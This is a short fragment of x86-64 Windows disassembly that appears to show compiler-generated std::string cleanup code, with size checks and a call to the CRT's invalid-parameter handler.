call fcn.140054d70
mov rcx, qword [rsp + 0x40]
call fcn.140054ca0
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140056650
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005664b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005664b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3